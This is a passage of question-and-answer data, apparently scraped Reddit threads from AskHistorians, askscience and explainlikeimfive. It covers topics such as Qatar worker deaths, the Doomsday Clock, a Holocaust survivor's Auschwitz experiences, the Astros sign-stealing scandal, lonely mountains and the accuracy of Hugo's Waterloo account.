rate of 39 per 100,000.\n\nFor comparison, [the death rate of Mexicans in the United States in 2013 was 259 per 100,000](_URL_3_).\n\nThere are of course plenty of other valid reasons to boycott Qatar 2022."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://www.bqdoha.com/2013/12/population-qatar", "http://www.thehindu.com/news/international/indian-embassy-in-qatar-says-most-indian-deaths-due-to-natural-causes/article5713681.ece", "http://www.theguardian.com/world/2014/feb/18/qatar-world-cup-india-migrant-worker-deaths", "http://www.cdc.gov/nchs/fastats/mexican-health.htm"]]}
{"q_id": "1rjcq1", "title": "How true is the assertion that European culture was more warlike and its economy more war driven than that of Mesopotamia or East Asia between 5000 and 2000 BC?", "selftext": "It's something I read in this book: _URL_0_", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1rjcq1/how_true_is_the_assertion_that_european_culture/", "answers": {"a_id": ["cdnzg2t"], "score": [2], "text": ["That far back?  It honestly sounds like nonsense.  I've got a copy of that particular textbook, though I've never had a moment to actually crack it open--can you cite the particular chapter?  \n\nAnyway, \"European culture\" is a bit difficult to apply to this period.  Going by the Kurgan model of Indo-European expansion (that is, out of Ukraine about 6,000 years ago, rather than Anatolia 10,000 years ago--David Anthony makes an excellent case using recently-available Russian archaeological studies for the former, though the latter has many adherents still), this is the general portrait of Europe at the time:\n\nFarmers from Anatolia populate the Balkan Peninsula at this point.  They speak an Afro-Asiatic language (that is, the same family as Arabic) and have an economy centered on grain- and cow- and sheep-agriculture.  They live in large villages, often fortified, and work copper and bronze.  They have their warriors and their quarrels.  They tend to replace rather than convert to farming the local hunter-gatherers--there are likely completely different ethnolinguistic groups in North-western and Western Europe, but they will be mostly wiped out by the coming tide of farmers and herders.  The Proto-Indo-European language and culture has been born in Ukraine and has harnessed the horse to begin the establishment of a staunchly patriarchal culture centered on warrior-nobles with chariots and whose wealth is measured in herds of horses and cattle and sheep.  They will spread out into Europe and east into Asia soon--not so much in conquest as in cultural conversion, as people will join their society, hoping to strike it rich with very fruitful herds.  From this root will spring Homeric Greece and Vedic Central Asia.  \n\nMore warlike than Mesopotamia?  I'd really doubt it.  Mesopotamia is at this point is home to the world's first true Empires.  While the Indo-Europeans will give rise to a culture that overall can be described as generally warlike (in that gathering up your brother warriors into a gang and stealing your neighbor's herds is considered a rite of passage, and that warrior chiefs get buried with their weapons in the most elaborate tombs), it's really hard to say that they'd be more warlike or war-driven than, say, Sargon of Akkad."]}, "title_urls": [], "selftext_urls": ["http://www.amazon.com/Worlds-Together-Apart-Beginnings-Fifteenth/dp/0393934934/ref=sr_1_2?ie=UTF8&amp;qid=1385523429&amp;sr=8-2&amp;keywords=worlds+together+worlds+apart"], "answers_urls": [[]]}
{"q_id": "1nde2l", "title": "how did my ice cubes disappear from inside my freezer?", "selftext": "I left tray of ice cubes inside my freezer. After many months, I went to get them out for use only to find that most of them have disappeared or are half the size they originally were. What happened?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1nde2l/eli5how_did_my_ice_cubes_disappear_from_inside_my/", "answers": {"a_id": ["cchiucr"], "score": [10], "text": ["It's called sublimation. The freezer is always circulating cold air to keep things frozen, and a side effect of the cooling process is the moisture being sucked out of the air as it's cooled. The dry air blows over your cubes and the ice sublimates (turns directly from a solid to a gas), and the water is carried out through the exhaust, or builds up in your freezer if it's not working properly. Poorly sealed containers in your freezer allow the ice on the food inside to sublimate, and you get a chicken smell transferred to your ice cream. \n\nDry ice sublimates easily at room temp and is fun to goof around with.\nMercury sublimates at room temp also, and is not fun to goof around with!\n\n_URL_0_\n\n "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Sublimation_(phase_transition)"]]}
{"q_id": "6bvmw4", "title": "In 1963, The Doomsday Clock was moved 5 minutes back, to 12 minutes to midnight, as opposed to 7 in 1960. How did the committee at Bulletin of the Atomic Scientists justify this in light of the recent Cuban Missile Crisis? Was there a perceived \"cooling off\" period immediately following the crisis?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6bvmw4/in_1963_the_doomsday_clock_was_moved_5_minutes/", "answers": {"a_id": ["dhq7t73", "dhqihdi"], "score": [19, 29], "text": ["Follow up questions, would the establishment of the Moscow-Washington hotline have had an impact on this? Was it public knowledge at the time that there was now a link for direct communication between the USSR and the US?", "Your question is in two parts - on the first part: \n\n\"How did the committee at Bulletin of the Atomic Scientists justify this in light of the recent Cuban Missile Crisis?\"\n\nFirstly, it is important to note that the committee did not decide the time of the Doomsday Clock. They only did so from 1973, when the *Bulletin* Editor,  Eugene Rabinowitch, died. From its inception to his death, Rabinowitch decided if the time on the Doomsday Clock should be changed. So we are not talking about a committee, but about the opinion of a single person. As a nuclear physicist (also co-author of the Franck Report), he was better qualified than most to decide, but we are still talking about the decision of a single person. \n\nThis appears to be a fairly common sort of question because on the FAQ section of their website, one question is:\n\n\"Were the hands moved during the Cuban Missile Crisis in 1962?\"\n\nYou can view the question and answer [here](_URL_0_doomsday-clockwork8052).\n\nThe committee's retrospective justifications are as follows:\n\n* \"Too little was known at this time about the circumstances of the standoff or what the outcome would be\". \n\n* Following the crisis, the US and Soviet leaders established a hotline between Washington and Moscow.\n\n* Nearly a year after the crisis, in August 1963, the two powers signed the Partial Test Ban Treaty. This, to the committee, appeared to be a substantial change towards addressing their concerns over the proliferation of nuclear weapons.\n\nOne mistake they have made: US and Soviet leaders \"signed the Partial Test Ban Treaty outlawing underground nuclear weapons testing\u2014the first treaty addressing the nuclear weapons threat\". This is incorrect. The Partial Test Ban Treaty banned the detonation of all test nuclear weapons *except* those detonated underground. \n\nSecondly, it is clear that Rabinowitch knew fully well about the dangers posed by the crisis. In the 1963 Volume 19 *Bulletin of Atomic Scientists*, Issue 1, Rabinowitch writes the opening with a short piece entitled \"New Years Thoughts\". From this: \n\n >  \"In 1962, mankind came as close as never before to the abyss of a nuclear war\". You can view this [here](_URL_2_) [may require access].\n\nRabinowitch was therefore, unsurprisingly, fully aware of the danger posed by the crisis. \n\nIt appears that what was most significant was the signing of the Partial Test Ban Treaty, which \"represents progress in at least slowing the arms race. It also signals awareness among the Soviets and United States that they need to work together to prevent nuclear annihilation\". You can view this [here](_URL_0_clock/1963).\n\nI hope this helps in understanding why Rabinowitch saw the change as justified. \n\nSources:\n\n* The committee's [website](_URL_0_).\n\n* On the life of Rabinowitch: Long, Franklin: 'Eugene Rabinowitch: An Appreciation', *Bulletin of the American Academy of Arts and Sciences*, Vol. 26, No. 1, (Oct., 1972), p.12-18.\n\n* Rabinowtich, Eugene: '[New Year's Thoughts 1963](_URL_3_)', *Bulletin of the Atomic Scientists*, Vol. 19, (1963), p. 2.\n\n\n\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://thebulletin.org/", "http://thebulletin.org/clock/1963", "http://www.tandfonline.com/doi/pdf/10.1080/00963402.1963.11454441", "http://www.tandfonline.com/toc/rbul20/19/1?nav=tocList", "http://thebulletin.org/doomsday-clockwork8052"]]}
{"q_id": "2qslfw", "title": "With the recent announcement of sperm blocking birth control, what happens to the sperm that get blocked?", "selftext": "_URL_0_\n\nI've had this thought about vasectomies too, what happens to the sperm that get blocked?  I'd imagine that over time their would be some sort of build up in the blocked off section, but I haven't found an article showing this.  I imagine [it like this](_URL_1_).", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2qslfw/with_the_recent_announcement_of_sperm_blocking/", "answers": {"a_id": ["cn97jtg", "cn9gwra"], "score": [52, 14], "text": ["From wikipedia:\n\nThe effect the chemical has on sperm is not completely understood. Originally it was thought that it lowered the pH of the environment enough to kill the sperm.[5] More recent research claims that this is not enough to explain the effect.\nOne explanation is that the polymer is an anhydride, and hydrolizes in the presence of water in the spermatic fluid. Due to the breaking of a cyclic group, the polymer becomes a hydride and has a positive charge. This disturbs the negative charge of the sperm membrane on contact.[6]\nProfessor SK Guha theorizes that the polymer surface has a negative and positive electric charge mosaic. The differential charge from the gel ruptures the sperm's cell membrane as it passes through the vas, inactivating sperm before they initiate their journey to the egg.[7]\n\"Within an hour, the drugs produce an electrical charge that nullifies the electrical charge of the spermatozoa, preventing it from penetrating the ovum,\" Dr. Guha said.\n\nTL;DR: disrupts the charge on the surface of the sperm, doesn't kill it but damages it enough to make it ineffective. it still exits during ejaculation.", "re: Vasectomies\n\nIn a vasectomy, the sperm doesn't go anywhere. The vas defrentia (singular: *vas deferens*) are severed, or clamped, or severed and clamped depending on the urologist's choice. Sperm continues to be produced but cannot exit through the penis, as the tubing that allows egress is blocked. \n\nSperm continues to be generated, but lacking a path out, it doesn't leave the region of the testes. As for what happens to it long term? Same thing that happens to sperm in a male that doesn't ejaculate on the regular - the sperm cells break down and are re-absorbed by the body. \n\nThere are some interesting secondary effects, too - the possibility for [sperm granulomas](_URL_0_) as well as for your immune system to start making antibodies that attack sperm - but those post-vasectomy effects tend to take a long while to develop. "]}, "title_urls": [], "selftext_urls": ["http://www.thedailybeast.com/articles/2014/09/09/we-ll-have-male-birth-control-by-2017.html?source=TDB&amp;via=FB_Page", "http://www.imdb.com/video/hulu/vi855900185"], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Sperm_granuloma"]]}
{"q_id": "d1fhzj", "title": "My Grandma is a holocaust survivor - I have questions", "selftext": "My grandma is a holocaust survivor however she remembers very little/was very young during her time both in the Warsaw Ghettos and Auschwitz (she was born in 1938 in Warsaw). Only recently has she even been willing to talk about it due to the considerable trauma that it causes.\n\nI know a considerable amount about what life was like inside Auschwitz however I have many questions (both general and specific to my grandma) that I would like to ask to see if people can shed light on exactly what her personal experience would have been like.\n\n1. How/why as a young child (4-6 ish years old) would she not have been immediately killed on arrival?\n2. One of her most vivid memories was sitting on the edge of a big vat they used for a toilet with her being terrified of falling in - I've never heard of any other accounts of something like this at Auschwitz, were these ever present or was it potentially a memory error?\n3. Were all prisoners (during the liberation of Auschwitz) sent on long death marches? Again I struggle to understand quite how she would have lived during one at her age\n4. She (as far as I'm aware) does not have a tattoo of an Auschwitz number - what is likely the reason as to why?\n\nI have other questions/would love to discuss it with someone in more detail but I figured I would start with some small questions.\n\nIf people are interested in her story I can potentially explain (although it is fairly vague and patchy)", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/d1fhzj/my_grandma_is_a_holocaust_survivor_i_have/", "answers": {"a_id": ["ezlkj9v", "ezltmx6", "ezmqksi", "ezp9m9v", "f0n39wx"], "score": [59, 33, 5, 2, 3], "text": ["To answer your question more precisely there would have to be more details, but I understand that it would probably be too invasive privacy-wise.\n\nSo let me try to approach this from a general POV.\n\nI have previously written about the children (incl. Jewish children) in Auschwitz [here](_URL_0_) and I will be using this in the answer.\n\n1. There are several groups of very small Jewish children who were not killed in Auschwitz and thus consitute an exception to the rule. You can see many of them in the liberation footage and photos.\n\nSpecifically, such children usually came with the transports that did not undergo selections.\n\nAn example of one such transport would be the so-called [Phillips transport](_URL_3_):\n\n > The train arrived in Auschwitz on June 6, the day of the allied invasion in Normandy. The acting commandant of Auschwitz Rudolf H\u00f6ss was informed that a transport of trained radio technicians would be arriving in Auschwitz. The message came from Gerhard Maurer, head of the department for labour deployment at the SS Economic Administrative Main Office who had been contacted by Ewald L\u00f6ser, a senior Philips executive in Berlin. Thus the Jews from Vught did not undergo a selection and were kept alive.\n\nA group of Jewish transports from labor camps in the Generalgouvernement at the end of July, beginning of August of 1944 underwent no selection upon arrival. This includes the transport from Starachowice on 30.07.1944, the transports from Pionki and Blizyn on 31.07.1944, the transport from Kielce on 02.08.1944 and the transport from Ostrowiec on 03.08.1944. The most probable reason is that these GG transfers were seen as \"internal\" transfers from labor camps on an otherwise \"judenrein\" territory: it was assumed that most Jews unfit for work would have already been eliminated in the previous labor camps by the time of the arrival in Auschwitz, and it would be a waste of manpower to stage a selection for such transports for a few people who might be unfit for work.\n\nMany of the children you see in the Soviet footage are from these exceptional transports.\n\nYet another group were the twins selected by Mengele for his \"research\" and experiments.\n\n2. The only group of Jews that did not get tattoed in Auschwitz as a rule were the so-called transit Jews or Durchgangsjuden. Most of them were from Hungary, though some arrived from elsewhere, like Viktor Frankl.\n\nThey stayed in the camp for a while, usually in the \"depot\" section called Mexico, without becoming the camp inmates (hence no camp numbers and no tattoos), before being sent to various work camps (though they also could get selected for gassings).\n\nUsually this wouldn't apply to small children, who were unable to work, though I suppose there always could be an exception for some reason (and that's where details would be useful).\n\n3. Typical Auschwitz latrines looked like this: [_URL_1_](_URL_2_)\n\nI suppose a small child could have a fear of falling in there.\n\nFor a time open ditches were used (e. g. during the building of the camp), but I don't think this applies here.\n\n4. No, not all prisoners were sent on death marches, the ill ones or small children, basically anyone unable to march, were supposed to stay in the camp, though in fact many inmates who were not supposed to march joined the marches anyway because they feared that those who stayed behind would be murdered (see e. g. A. Strzelecki, *Endphase des KL Auschwitz*, 1995, pp. 144, 248).\n\nApparently, the Nazis did want to murder most or all of the remaining inmates but in the last moment did not do it for whatever reasons (like the risk of being encircled by the Red Army; ibid., pp. 249-251).\n\nThat's why you can see the survivors in the Soviet liberation footage.\n\nYou could always try to reach out to the Auschwitz Museum, in my experience they are very helpful.", "I can only add something to Nr 3 and I hope it's not a too-small snippet that gets removed before you read it, but other camps such as Bergen-Belsen would use vats as latrines during typhus epidemics when basically everyone had heavy diarrhea, so it's common practice", "Most of your questions are going to depend on where she lived, both what country and if it was rural or urban. Also, if she was moved to a ghetto first, or if she was immediately moved into Auschwitz.\n\nSome kids weren't immediately killed because of the shear number of prisoners being processed and killed. [There was just a post I read on Reddit yesterday about a man who escaped as a four year old along with about 50 other children because they hid when the camp guards rounded up all the children to kill them.](_URL_0_)\n\nNot everyone was sent on a death march. Some were transported in boxcars and trucks from their home to the ghetto and the ghetto to the death camp. Some were sent to a different work camp and then to a death camp. Finding out the specific towns, camps, and ghettos, and the dates of your grandmother's arrival and departure will help you put together the story of her survival.\n\nI don't know why she wasn't tattooed. It's possible she hid from the guards, or there was a breakdown of procedure at the time of her arrival. The idea that the Nazis were a well run machine is greatly exaggerated.\n\nI have heard no account of a large toilet. The toilets the prisoners used at Auschwitz were pit toilets with wood seats, like camping or military outpost toilets. In Schindler's List, kids hid in them. They didn't have  individual stalls, so she may remember sitting next to someone while using the toilet. Or, it's possible she went into hiding and she's remembering something else. Also, there's an urban legend kids used to scare each other with about going to school and using one giant toilet together - it's so ubiquitous, it was in the Simpsons. Maybe her memories are muddled.", "A quick book rec\u2014Shimon Huberband wrote an account of Warsaw during the war, both before the ghettoization as well as after it, including the system of labor camps. Might be useful information about that side of things. [Here\u2019s the link](_URL_0_).", "Is it possible that your grandmother isn't Jewish? Can you have misunderstood what she told you about Warsaw? \n\nYou see, there were two uprisings in Warsaw during the war. One was the Ghetto uprising in April-May 1943. The survivors of this uprising were sent  to Treblinka (as had been the case for most of the inhabitants of the ghetto prior to the uprising) where they were killed upon arrival.\n\nThe second Warsaw uprising was by the Polish Home Army in August 1944. It had nothing to do with the Jews, as the ghetto had been destroyed and all the Jews removed the year before. Many Poles, *including children*, were sent from Warsaw to Auschwitz following this revolt. They were not killed upon arrival because only Jews and \"Gypsies\" (Roma and Sinti) ever were. About 500 children under 15 were liberated by the Soviets when they entered Auschwitz in January 1945, They were left behind as too weak to travel on the death marches, as were about 6,500 adult prisoners."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://holocaustcontroversies.blogspot.com/2017/05/rebutting-twitter-denial-most-popular.html#unfit", "https://upload.wikimedia.org/wikipedia/commons/0/06/Auschwitz-Birkenau\\_latrine.jpg", "https://upload.wikimedia.org/wikipedia/commons/0/06/Auschwitz-Birkenau_latrine.jpg", "http://db.yadvashem.org/deportation/transportDetails.html?language=en&amp;itemId=6531854"], [], ["https://news.fordham.edu/fordham-magazine/stories-survive-a-child-of-the-holocaust-reclaims-a-resilient-heritage/"], ["https://www.google.com/search?q=worldcat%20shimon%20huberband&amp;ie=utf-8&amp;oe=utf-8&amp;client=firefox-b-1-m"], []]}
{"q_id": "97kyxh", "title": "I am a blind man in the Middle Ages. How useful am I and what jobs can I do to survive?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/97kyxh/i_am_a_blind_man_in_the_middle_ages_how_useful_am/", "answers": {"a_id": ["e49h095"], "score": [39], "text": ["This thread might be of interest while you're waiting:\n\n[How did humans cope with poor eyesight in the Middle Ages? Did all hunters and knights thus have 20/20 vision?](_URL_0_) by /u/sunagainstgold"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/8cvbs2/how_did_humans_cope_with_poor_eyesight_in_the/"]]}
{"q_id": "1ryp9p", "title": "Do older mammals get wrinkles under their fur like humans do?", "selftext": "As in, if you shaved a 11 year old dog, will it have wrinkles similar to a 80 year old person?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1ryp9p/do_older_mammals_get_wrinkles_under_their_fur/", "answers": {"a_id": ["cdsj12x", "cdsj6as"], "score": [50, 9], "text": ["[You rang?](_URL_0_) All joking aside, it seems like there's a good chance that if most animals lived to the same relative age as people and therefore became \"elderly,\" then there's a good chance the same forces that cause us to age would affect them to some degree. However, the presence of the panniculus adiposus and panniculus carnosus affect the way the skin ages in various animals, as does the presence of their fur in the first place, which protects them from some harm like UV radiation. They also tend not to subject their bodies to various chemicals, such as alcohol and smoke, which further damage the skin on people. Most importantly, humans are very long-lived, so the damage to our skin and the cellular alterations can accumulate over a much longer period of time than in most animals.\n\nSo long-term, you probably wouldn't find animals with wrinkles equivalent to people. They would probably have some wrinkles, especially around joints and other areas where the skin moves a lot, but overall their skin would most likely remain less wrinkly than an elderly human.", "The key to answering this question lies within the animals life cycle. Human's are unusual as mammals as they live well beyond their reproductive lifespan. During your reproductive life your body is pretty effective at repair and renewing cells so we tend not to get wrinkles until we are well past our reproductive peak. Most other mammals, unfortunately don't live much longer than their reproductive life and therefore don't wrinkle overtime. For most mammals it's a comparatively quick decline once the body ceases regular replenishment of cells. So in conclusion, probably not... I think!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://static.fjcdn.com/pictures/Naked_752f9a_403572.jpg"], []]}
{"q_id": "dy0pdo", "title": "is 'sign stealing' as literal as it sounds, and how did it give the astros an advantage in the 2017 world series?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/dy0pdo/eli5_is_sign_stealing_as_literal_as_it_sounds_and/", "answers": {"a_id": ["f7xp7qa", "f7y9pxe", "f7yj7x6", "f80h4us"], "score": [30, 2, 5, 2], "text": ["So [u/Gway22](_URL_0_) provided this summary in another thread\n\n\u201cSo, pitchers and catchers need to communicate with each other on which pitch to throw. They do this by the catcher throwing down hand signals. You\u2019ll see this by the pitcher shaking his head no, shaking his head no again, then shaking his head yes and beginning his pitching routine. If you can see this as a hitting team and tap into it, it\u2019s called sign stealing and it\u2019s legal as long as it\u2019s organic ie a base runner can see the signs.\n\nWhat the Astros did was place an illegal hidden camera in their outfield trained on the catcher that could read their signs with a live feed into the dugout tunnel. When the catcher would throw down the sign they would alert that player batting as to what type of pitch it is by having trash fans or whistling the \u201ccharge\u201d song among other things. If you know the pitch is either a fastball or an off speed pitch is gives you a HUGE advantage on timing your swing to make contact. You only have a fraction of a second to decide how you\u2019re going to swing at a given pitch and of you have extra info it just throws everything our the window\n\nUsing technology to steal signs is patently illegal, and an egregious violation because this happened over the coit\u2019s of multiple years and they have had tons of success including a World Series win. Players careers were altered playing Houston during this time, managers were fired for losing to them, and they were cheating the whole time.\u201d", "Yes it's as literal as it sounds. It gives them an advantage by allowing them to inform the batter what pitch is coming. The example video I found showed the Astros dugout making a banging noise when an off speed pitch was coming and the dugout making no noise when a fastball was coming. This is a big advantage to the hitter", "Watch this vid: _URL_0_\n\nIt explains everything, plus, it's entertaining and informative.", "Pitchers and catchers use signs to talk about the types of pitches being thrown.  \n\nKnowing the pitcher is going to throw a fast ball can help you swing and hit something rather than take a chance on a curveball. \n\nIf you just watch very closely and figure it out then that\u2019s fine. \n\nBut the astros had a camera set up zoomed in on the pitchers mound and then someone watching a live feed would relay those decoded signals.  Using electronic assistance like that is against the rules."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/u/Gway22"], [], ["https://www.youtube.com/watch?v=PmlRbfSavbI"], []]}
{"q_id": "afkzfw", "title": "Can isolated mountains like Erebor, the Lonely Mountain from LOTR actually exist in real life?", "selftext": "You usually find a mountain as a part of a mountain chain. Is it possible for geological phenomena to favor the formation of a fairly large mountain that exists in isolation, without being a part of a mountain chain?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/afkzfw/can_isolated_mountains_like_erebor_the_lonely/", "answers": {"a_id": ["ee048cs", "ee05lt1", "ee0827m", "ee0xiru"], "score": [2, 21, 2, 11], "text": ["The only way for something like this to form would be for a sturdy rock column surrounded by porous rock to have its surrounding rock eroded away. However, such a mountain would look very different from those found in mountain chains. Such a \"mountain\" is often called a dissected plateau, and is formed by plateau erosion. Examples of these can be found in monument valley, Ohio.  In theory only a single such pillar could have formed, and thus the \"mountain\" would be lonely.", "Volcanoes are your best bet, as the other mountain-forming processes tend to be regional effects.\n\nCertain types of overlapping folds, if they contain the right layers of rocks in the right order, could also do it. Salt domes are another potential candidate.\n\nIt also depends on how isolated you need it to be. Near Kilimanjaro, for example, there are a number of large volcanic cones that don't really merge with their nearest neighbors. They are still related to each other in the tectonic setting that created them, but you could take a photo of some of them and it could be passed off as Erebor. Its mineral richness compared to Erebor might be questionable.\n\nThere are metrics such as topographic prominence and topographic isolation, but these don't quite measure what you're looking for.\n\nThe mineral richness may be the real hard part, even moreso with the isolation.", "The most likely cause for such an isolated mountain would be volcanism, and the Cascade Volcanoes (Mount Adams, Mount St-Helens etc) would be a decent example of how that could happen.  You could also have the erosion-resistant cores of long-gone volcanoes, like the Mont\u00e9r\u00e9gie Hills of Quebec which occur within largely sedimentary rock that erodes more easily and has left these igneous cores (such as Mount Royal in Montreal) sticking above the surrounding flatter lands. These mountains occur right up to the edge of the Appalachian Range so also sort of fit your question.  They are not huge mountains though, being mostly only many hundred feet in elevation above the surrounding plains.  They aren't like Mount Washington and dominant over the area, but they are definitely clearly not like everything else around them, and are \"lonely mountains\" where the exist.  Flat farmland all around and then that thing Mont St-Hilaire or whatever sticking up out of nothing, and the chain goes east right to the edge of the Appalachians, although not the higher peaks part, only the northern thrust and fold belt extending up from Vermont.\n\nI don't know how big the Lonely Mountain was or what its origin was supposed to be, but such a thing could happen.  It isn't what you would expect, but it isn't an impossibility either.  It does stick out there like a sore thumb, though, and it bothered me as a kid that it did, not having seen anything like it before.  But now, I think sure, that could happen.  A bit odd but nothing stranger than reality.", "As others have said, Volcanism would be the most likely cause of a feature such as this.\n\nThe best example I can think of, a mountain rising out of otherwise flat land, would be **Mount Taranaki** in the north island of New Zealand. The nearest mountain to it is over 100km away, **Mount Ruapehu**, which itself is fairly distant from other mountains, but not as pronounced due to the surrounding hills, and the neighbouring **Mount Ngauruhoe**."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "3hq2vd", "title": "How reliable is Victor Hugo's account of the battle of Waterloo in Les Mis\u00e9rables?", "selftext": "I'm reading Les Mis\u00e9rables at the moment and the first book of the second volume (about 200 pages into my edition) is an account of the battle of Waterloo. Can this be taken as historically accurate text? Thanks very much!", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/3hq2vd/how_reliable_is_victor_hugos_account_of_the/", "answers": {"a_id": ["cu9v3om", "cua1m04", "cua4x2k", "cuacprj"], "score": [51, 37, 26, 10], "text": ["I really want this question to be answered, and since OP didn't provide a link: [_URL_0_](_URL_0_). \n\nIt runs from about Chapter III to XVIII.\n\n(Never posted here before, is this the right way to do it?)", "I love Hugo and his telling of the Battle of Waterloo. It's hyper romantic and idealized as Hugo himself was a Republican and a Bonapartist, very similar to Marius Pontmercy. With that said, Hugo paints a painting that looks at the event as glorious and honorable.\n\nThe major events of the battle are there, the charge of the Ney, the fall of the Guard, etc. These are major and well known pieces of the battle that live on their own beyond Hugo's fantastic novel. The smaller things are plausible; the Colonel of the Guard not surrendering, Ney calling out to the retreating troops \"come now and watch how a Marshal of France dies!\" and the ferocious fighting that occurred through the the battle.\n\nOf course there's fantastical parts, the parts with the Baron de Pontmercy and the Sergeant saving his life. However, those exist for literary reasons.", "I don't have time to go line by line through the whole thing, but if  we focus on just a few bits paragraph, you can see that as a historical account it is not reliable at all, and to be honest verges into the the realms of fantasy and wish fulfilment. \n\n\u201cThe cuirassiers annihilated seven squares out of thirteen, took or spiked sixty pieces of ordnance, and captured from the English regiments six flags, which three cuirassiers and three chasseurs of the Guard bore to the Emperor, in front of the farm of La Belle Alliance.\u201d\n\nThis is total rubbish. None of the squares broke, nor were any guns permanently captured or spiked. In fact after the French cavalry had finished their attacks, the British gunners were able to return to their guns and continue firing. The British and other allied infantry did suffer heavy casualties, but only because the squares made a good target for French artillery. Aside from getting the infantry to form square, and present themselves as better targets, the French cavalry attack was a wasteful mistake that may have cost the French the battle. They failed to dislodge Wellington's troops from the hill and suffered massive casualties for no gain. \n\nHugo gets fundamental things like units and casualties wrong as well.  He writes, \u201cthe first battalion of the 30th infantry had lost 24 officers and 1,200 soldiers; the 79th Highlanders had lost 24 officers wounded, 18 officers killed, 450 soldiers killed.\u201d In the case of the 30th only the second battalion was present, and they deployed 51 officers and 579 men, so unless they were breeding men on the battle field they couldn't have managed that. In reality they lost 5 officers and 51 men killed, with another13 officers and 181 men wounded. High losses but rather less than what Hugo wrote. Similarly the 79th were reported to have 6 officers 57 men killed in reality.\n\nHugo's depiction is fanciful, but a  lot of it is complete bollocks. \n", "I will go through as much as I can. I do apologise in advance for the length of this post. There is a lot to say and I doubt I can get it all.\n\nTo start off with, Hugo is correct about the weather, as aforementioned by /u/DonaldFDraper, and it was because of this that Napoleon delayed starting the battle because his guns would not have been able to move. However, contrary to what the previous poster stated, the cannon balls still embedded themselves into the ground fairly often. Mortars were thus ineffective. [This](_URL_0_) documentary explains this.\n\nIn terms of how many guns were on the field, Hugo is wrong of again. Napoleon had 252 (not 240) and Wellington had 152 (not 156, though he wasn\u2019t far off). Hugo now goes to speak of Napoleon\u2019s plan. David Chandler, an expert on Waterloo, has it that Napoleon\u2019s plan was to push two halves of his line up, one carving a path through the farm Hougoumont and another pushing up Wellington\u2019s left and smashing through his line. Hugo\u2019s interpretation of this is wrong, stating Napoleon intended to go through the centre and break the line in two. \n\nHugo mentions that Quiot\u2019s division was sent up the line to La Haie (or Haye) Saint. This is true, but he doesn\u2019t mention D\u2019Erlon\u2019s corps pushing up past it. He is also right that the attack on Hougoumont was a diversion that was meant to drag Wellington down to help. It never did as the Lunebergers and Coldstream Guards under Lt. Col. MacDonnell held it throughout the battle, even when it was alight. \n\nHugo makes mention of Kempt\u2019s battalion of raw recruits. Kempt\u2019s battalion was part of Picton\u2019s Divison, alongside Pack and Vincke. This division was noted to be full of raw recruits, though Hugo says that this fact \u2018displeased Wellington\u2019. I\u2019m not sure what he means by this, but I think he\u2019s referring to Wellington\u2019s \u2018scum of the earth\u2019 quote, which was said (as mentioned by /u/SirShortlyPortly ), in 1813, not at Waterloo. Wellington was highly praiseworthy of his army, stating in his dispatches: \u2018the army never, on any occasion, conducted itself better.\u2019 This proves Hugo\u2019s claim false. \n\u2018The beginning of retreat\u2019 Hugo writes Napoleon as having said. This is probably fiction as at the time stated (around 4pm) Wellington was pulling his line back beyond the ridge to cover it from artillery fire. It was Ney that saw this as retreat and thus prompted his rash cavalry charge. Napoleon, I believe, was off the field at the time and even if he were on it I doubt he would have made such an interpretation.\n\nHugo vaguely mentions Ponsonby\u2019s charge, stating that Marcognet\u2019s battalion had been stuck between infantry and was put to the sword. This is true as the Scot\u2019s Greys battered them back in a counter attack charge to spare the men of Pack and Kempt. He also mentions that Napoleon sent a messenger back to Paris to, prematurely, state the battle was won. This fact is also true. However, something that is very false about Hugo\u2019s writing is much of the events of Ney\u2019s cavalry charge. Hugo seems to be claiming, here, that Napoleon ordered the charge. Ney was the marshal who flew into a fit of rage and ordered every available horse to charge at the \u2018retreating\u2019 British line. Napoleon would never have made such a mistake. Napoleon was furious at Ney\u2019s idiocy and attempted to send several divisions forward to support him.\n\nHere Hugo also mentions a ravine near Ohain. The existence of this ravine is true but it did not have the catastrophic effect that Hugo writes. The fact is elaborated and the failure of the cavalry charge was not due to this hidden ravine but because of Ney\u2019s incompetence, the steadfast nature of the British squares, the failure to support the cavalry with infantry and the muddy ground in the area that forced the horses to no more than a trot. \nOn the squares the British formed, Hugo says thirteen. False again, as there were twenty squares formed. Hugo is, however, right about how many assaults on these squares there were. He states a dozen, which is true. As aforementioned by another poster, however, Hugo states that a shocking seven out of thirteen squares were destroyed. This is utterly false and I don\u2019t know where he got this information from. Firstly, as I said, there were twenty squares. Secondly, (as mentioned) no square collapsed or was destroyed. The British were very steadfast throughout the assaults and held their squares professionally. Further, Hugo mentions that sixty cannons were spiked. No. Ney was so incompetent that he only charged the squares, therefore when he fell back and came around for another assault the British gunners could run out of their squares, fire off a few shots, and run back in, because Ney never spiked their cannons.\n\nHugo does; however, seem to get most major events accurate. Bulow did attack Plancenoit when he arrived, thus forcing Napoleon to deploy the Young Guard to that location to hold them back. When Hugo mentions the attack of the Old and Middle Guards he seems to enforce the common myth that Wellington said \u2018Up Guards and aim straight\u2019 (or another version: \u2018Up Guards and at \u2018em\u2019). This is entirely false as Wellington actually stated \u2018Now Maitland! Now\u2019s 